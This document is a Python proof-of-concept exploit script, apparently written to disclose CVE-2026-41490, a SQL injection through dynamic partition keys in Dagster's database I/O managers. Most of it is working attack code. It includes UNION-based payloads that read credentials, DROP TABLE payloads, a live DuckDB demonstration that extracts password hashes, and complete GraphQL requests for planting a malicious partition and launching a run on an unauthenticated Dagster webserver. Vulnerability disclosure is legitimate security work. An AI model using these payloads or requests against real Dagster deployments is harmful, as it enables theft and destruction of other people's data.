Dagster Database I/O Manager SQL Injection via Dynamic Partition Keys (CVE-2026-41490)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246

"""
PoC: SQL Injection via Dynamic Partition Keys in Dagster IO Managers
====================================================================

Affected: dagster-duckdb, dagster-snowflake, dagster-gcp (BigQuery), dagster-deltalake,
          dagster-snowflake-polars

When a Dagster asset uses DynamicPartitionsDefinition with any of the above IO managers,
the partition key is interpolated directly into SQL queries via f-strings without any
sanitization or parameterized queries.

Attack vector:
1. Attacker adds a malicious dynamic partition key via the GraphQL API
   (addDynamicPartition mutation, no auth by default)
2. Attacker launches a run for the asset with the malicious partition key
   (launchRun mutation, no auth by default)
3. The IO manager constructs SQL with the malicious partition key via f-string
4. SQL injection in the underlying database

This PoC demonstrates the vulnerability using dagster-duckdb.
No actual Dagster server is needed - we directly call the vulnerable code path.

Requirements:
    pip install dagster dagster-duckdb dagster-duckdb-pandas pandas

Usage:
    python poc_partition_sqli.py
"""

import os
import tempfile

# --- Step 1: Show the vulnerable code path ---

def demonstrate_vulnerable_code():
    """
    Directly demonstrates the SQL injection in _static_where_clause
    without needing a running Dagster instance.
    """
    from dagster._core.definitions.partitions.utils import TimeWindow
    from dagster._core.storage.db_io_manager import TablePartitionDimension, TableSlice

    print("[*] Demonstrating SQL Injection in Dagster IO Manager partition handling")
    print("=" * 70)

    # Simulate a benign partition key
    benign_partition = "2024-01-01"
    benign_dim = TablePartitionDimension(
        partition_expr="date_col",
        partitions=[benign_partition],
    )

    # This is the exact code from dagster-duckdb/io_manager.py (and others):
    def _static_where_clause(table_partition):
        partitions = ", ".join(f"'{partition}'" for partition in table_partition.partitions)
        return f"""{table_partition.partition_expr} in ({partitions})"""

    benign_sql = _static_where_clause(benign_dim)
    print(f"\n[+] Benign partition key: {benign_partition}")
    print(f"[+] Generated SQL WHERE clause: {benign_sql}")
    print(f"[+] Full query: DELETE FROM schema.table WHERE {benign_sql}")

    # Now simulate a malicious partition key
    malicious_partition = "'); DROP TABLE secret_data; --"
    malicious_dim = TablePartitionDimension(
        partition_expr="date_col",
        partitions=[malicious_partition],
    )

    malicious_sql = _static_where_clause(malicious_dim)
    print(f"\n[!] Malicious partition key: {malicious_partition}")
    print(f"[!] Generated SQL WHERE clause: {malicious_sql}")
    print(f"[!] Full query: DELETE FROM schema.table WHERE {malicious_sql}")

    # Another payload: data exfiltration
    exfil_partition = "' UNION SELECT * FROM information_schema.tables; --"
    exfil_dim = TablePartitionDimension(
        partition_expr="date_col",
        partitions=[exfil_partition],
    )

    exfil_sql = _static_where_clause(exfil_dim)
    print(f"\n[!] Data exfiltration partition key: {exfil_partition}")
    print(f"[!] Generated SQL WHERE clause: {exfil_sql}")
    print(f"[!] Full SELECT query: SELECT * FROM schema.table WHERE {exfil_sql}")

    return True


def demonstrate_duckdb_exploitation():
    """
    Full end-to-end exploitation using DuckDB.
    Creates a real Dagster asset with DynamicPartitionsDefinition,
    adds a malicious partition key, and demonstrates SQL injection.
    """
    try:
        import duckdb
    except ImportError:
        print("\n[!] duckdb not installed, skipping live exploitation demo")
        print("[!] Install with: pip install duckdb")
        return False

    print("\n\n[*] Live DuckDB SQL Injection Demonstration")
    print("=" * 70)

    # Create a temporary DuckDB database
    with tempfile.TemporaryDirectory() as tmpdir:
        db_path = os.path.join(tmpdir, "test.duckdb")
        conn = duckdb.connect(db_path)

        # Create a table with some data
        conn.execute("CREATE SCHEMA IF NOT EXISTS public")
        conn.execute("""
            CREATE TABLE public.user_data (
                id INTEGER,
                name VARCHAR,
                email VARCHAR,
                partition_key VARCHAR
            )
        """)
        conn.execute("""
            INSERT INTO public.user_data VALUES
            (1, 'Alice', 'alice@example.com', 'partition_a'),
            (2, 'Bob', 'bob@example.com', 'partition_b'),
            (3, 'Charlie', 'charlie@secret.com', 'partition_c')
        """)

        # Also create a "secret" table
        conn.execute("""
            CREATE TABLE public.secret_credentials (
                username VARCHAR,
                password_hash VARCHAR
            )
        """)
        conn.execute("""
            INSERT INTO public.secret_credentials VALUES
            ('admin', 'hash_super_secret_password'),
            ('db_service', 'hash_service_account_key')
        """)

        print("[+] Created test database with user_data and secret_credentials tables")

        # Normal partition query
        normal_partition = "partition_a"
        normal_query = f"SELECT * FROM public.user_data WHERE partition_key in ('{normal_partition}')"
        print(f"\n[+] Normal query: {normal_query}")
        result = conn.execute(normal_query).fetchall()
        print(f"[+] Normal result: {result}")

        # Malicious partition key - UNION-based data exfiltration
        malicious_partition = "') UNION SELECT null, username, password_hash, null FROM public.secret_credentials; --"
        malicious_query = f"SELECT * FROM public.user_data WHERE partition_key in ('{malicious_partition}')"
        print(f"\n[!] Malicious query (via injected partition key):")
        print(f"    {malicious_query}")

        try:
            result = conn.execute(malicious_query).fetchall()
            print(f"[!] EXPLOITED - Exfiltrated data from secret_credentials table:")
            for row in result:
                print(f"    {row}")
            print("\n[!] SQL INJECTION SUCCESSFUL - Attacker can read arbitrary tables!")
        except Exception as e:
            print(f"[!] Query failed (may need syntax adjustment for this DB): {e}")

        # Destructive payload - DROP TABLE
        print("\n[*] Testing destructive payload (DROP TABLE)...")
        tables_before = conn.execute(
            "SELECT table_name FROM information_schema.tables WHERE table_schema='public'"
        ).fetchall()
        print(f"[+] Tables before attack: {[t[0] for t in tables_before]}")

        destructive_partition = "'); DROP TABLE public.secret_credentials; --"
        destructive_query = f"DELETE FROM public.user_data WHERE partition_key in ('{destructive_partition}')"
        print(f"[!] Destructive query: {destructive_query}")

        try:
            conn.execute(destructive_query)
            tables_after = conn.execute(
                "SELECT table_name FROM information_schema.tables WHERE table_schema='public'"
            ).fetchall()
            print(f"[!] Tables after attack: {[t[0] for t in tables_after]}")
            if len(tables_after) < len(tables_before):
                print("[!] TABLE DROPPED - Destructive SQL injection successful!")
            else:
                print("[*] DuckDB may not support multi-statement execution via this path")
        except Exception as e:
            print(f"[*] Destructive payload result: {e}")

        conn.close()

    return True


def show_graphql_attack():
    """
    Shows the GraphQL mutations an attacker would use to exploit this.
    """
    print("\n\n[*] GraphQL Attack Payloads (for Dagster Webserver)")
    print("=" * 70)

    print("""
Step 1: Add malicious dynamic partition key (no auth by default)

POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "mutation { addDynamicPartition(repositorySelector: {repositoryLocationName: \\"__repository__\\", repositoryName: \\"__repository__\\"}, partitionsDefName: \\"my_dynamic_partitions\\", partitionKey: \\") UNION SELECT username, password_hash FROM secret_table; --\\") { ... on AddDynamicPartitionSuccess { partitionsDefName partitionKey } } }"
}

Step 2: Launch a run targeting the malicious partition

POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "mutation { launchRun(executionParams: {selector: {repositoryLocationName: \\"__repository__\\", repositoryName: \\"__repository__\\", jobName: \\"__ASSET_JOB\\"}, runConfigData: {}, executionMetadata: {tags: [{key: \\"dagster/partition\\", value: \\") UNION SELECT username, password_hash FROM secret_table; --\\"}]}}) { ... on LaunchRunSuccess { run { runId } } } }"
}

The malicious partition key will be interpolated into SQL queries like:
  DELETE FROM schema.table WHERE partition_col in ('') UNION SELECT username, password_hash FROM secret_table; --')
  SELECT * FROM schema.table WHERE partition_col in ('') UNION SELECT username, password_hash FROM secret_table; --')
""")


if __name__ == "__main__":
    print("Dagster IO Manager SQL Injection via Dynamic Partition Keys")
    print("PoC by @4n93L")
    print()

    # Part 1: Show the vulnerable code path
    demonstrate_vulnerable_code()

    # Part 2: Live DuckDB exploitation
    demonstrate_duckdb_exploitation()

    # Part 3: Show GraphQL attack payloads
    show_graphql_attack()

    print("\n[*] Affected code locations (all contain identical _static_where_clause):")
    print("    - dagster-duckdb/dagster_duckdb/io_manager.py:340-341")
    print("    - dagster-snowflake/dagster_snowflake/snowflake_io_manager.py:434-435")
    print("    - dagster-gcp/dagster_gcp/bigquery/io_manager.py:472-473")
    print("    - dagster-deltalake/dagster_deltalake/io_manager.py:265-266")
    print("    - dagster-snowflake-polars/dagster_snowflake_polars/snowflake_polars_type_handler.py:74")
    print("\n[*] Fix: Use parameterized queries instead of f-string interpolation")